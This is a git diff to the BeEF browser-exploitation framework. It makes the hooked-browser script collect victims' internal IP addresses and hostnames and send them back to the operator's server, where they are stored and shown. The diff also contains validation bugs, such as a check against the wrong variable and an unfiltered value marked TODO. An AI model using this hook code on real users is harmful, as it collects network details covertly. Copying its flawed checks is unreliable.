diff --git a/lib/server/inithandler.rb b/lib/server/inithandler.rb index 1276e372f..b42874c7a 100644 --- a/lib/server/inithandler.rb +++ b/lib/server/inithandler.rb @@ -55,6 +55,20 @@ module BeEF raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name) BD.set(session_id, 'HostName', host_name) + # get and store the internal ip address + internal_ip = get_param(request.query, 'InternalIP') + if not internal_ip.nil? + #TODO: add Filter + BD.set(session_id, 'InternalIP', internal_ip) + end + + # get and store the internal hostname + internal_hostname = get_param(request.query, 'InternalHostname') + if not internal_hostname.nil? + raise WEBrick::HTTPStatus::BadRequest, "Invalid internal host name" if not Filter.is_valid_hostname?(host_name) + BD.set(session_id, 'InternalHostname', internal_hostname) + end + # init details have been returned so set flag and save hooked_browser.has_init = true @guard.synchronize { @@ -64,7 +78,10 @@ module BeEF response.body = '' end + # returns a selected parameter from the query string. def get_param(query, key) + return nil if query[key].nil? + b64_param = query[key] raise WEBrick::HTTPStatus::BadRequest, "Invalid init base64 value" if Filter.has_non_printable_char?(b64_param) escaped_param = CGI.unescapeHTML(b64_param) diff --git a/lib/server/modules/common.rb b/lib/server/modules/common.rb index 8cbd48f45..0aaee5be7 100644 --- a/lib/server/modules/common.rb +++ b/lib/server/modules/common.rb @@ -18,7 +18,7 @@ module Modules # set up values required to construct beefjs beefjs = '' # init the beefjs string (to be sent as the beefjs file) beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files - js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js) + js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js net/local.js init.js) # construct the beefjs string from file(s) js_sub_files.each {|js_sub_file_name| diff --git a/lib/ui/modules/modules.rb b/lib/ui/modules/modules.rb index de00f00c8..d1c8b35d1 100644 --- a/lib/ui/modules/modules.rb +++ b/lib/ui/modules/modules.rb @@ -58,7 +58,7 @@ class Modules < BeEF::HttpController host_name = BD.get(zombie_session, 'HostName') encoded_host_name = CGI.escapeHTML(host_name) encoded_host_name_hash = { 'Host Name' => encoded_host_name } - + page_name_row = { 'category' => 'Browser Hook Initialisation', 'data' => encoded_host_name_hash, @@ -92,9 +92,38 @@ class Modules < BeEF::HttpController } summary_grid_hash['results'].push(browser_version_row) # add the row - - @body = summary_grid_hash.to_json + + # set and add teh internal ip address + internal_ip = BD.get(zombie_session, 'InternalIP') + if internal_ip + encoded_internal_ip = CGI.escapeHTML(internal_ip) + encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip } + page_name_row = { + 'category' => 'Browser Hook Initialisation', + 'data' => encoded_internal_ip_hash, + 'from' => 'Initialisation' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + + # set and add teh internal hostname + internal_hostname = BD.get(zombie_session, 'InternalHostname') + if internal_ip + encoded_internal_hostname = CGI.escapeHTML(internal_hostname) + encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname } + + page_name_row = { + 'category' => 'Browser Hook Initialisation', + 'data' => encoded_internal_hostname_hash, + 'from' => 'Initialisation' + } + + summary_grid_hash['results'].push(page_name_row) # add the row + end + + @body = summary_grid_hash.to_json end # Returns the list of all command_modules in a JSON format diff --git a/modules/beefjs/net.js b/modules/beefjs/net.js index 36a08754c..9de63da5b 100644 --- a/modules/beefjs/net.js +++ b/modules/beefjs/net.js @@ -106,10 +106,19 @@ beef.net = { sendback_browser_details: function() { // get hash of browser details var details = beef.browser.getDetails(); - + + // grab the internal ip address and hostname + var internal_ip = beef.net.local.getLocalAddress(); + var internal_hostname = beef.net.local.getLocalHostname(); + + if(internal_ip && internal_hostname) { + details['InternalIP'] = internal_ip; + details['InternalHostname'] = internal_hostname; + } + // contruct param string var params = this.construct_params_from_hash(details); - + // return data to the framework this.sendback("/init", 0, params); }, diff --git a/modules/commands/network/detect_local_settings/detect_local_settings.rb b/modules/commands/network/detect_local_settings/detect_local_settings.rb index 5d1033a6a..6d2113d8d 100644 --- a/modules/commands/network/detect_local_settings/detect_local_settings.rb +++ b/modules/commands/network/detect_local_settings/detect_local_settings.rb @@ -12,7 +12,10 @@ class Detect_local_settings < BeEF::Command 'Author' => ['pdp', 'wade', 'bm'], 'File' => __FILE__, 'Target' => { - 'browser_name' => BeEF::Constants::Browsers::FF + 'browser_name' => [ + BeEF::Constants::Browsers::FF, + BeEF::Constants::Browsers::C + ] } })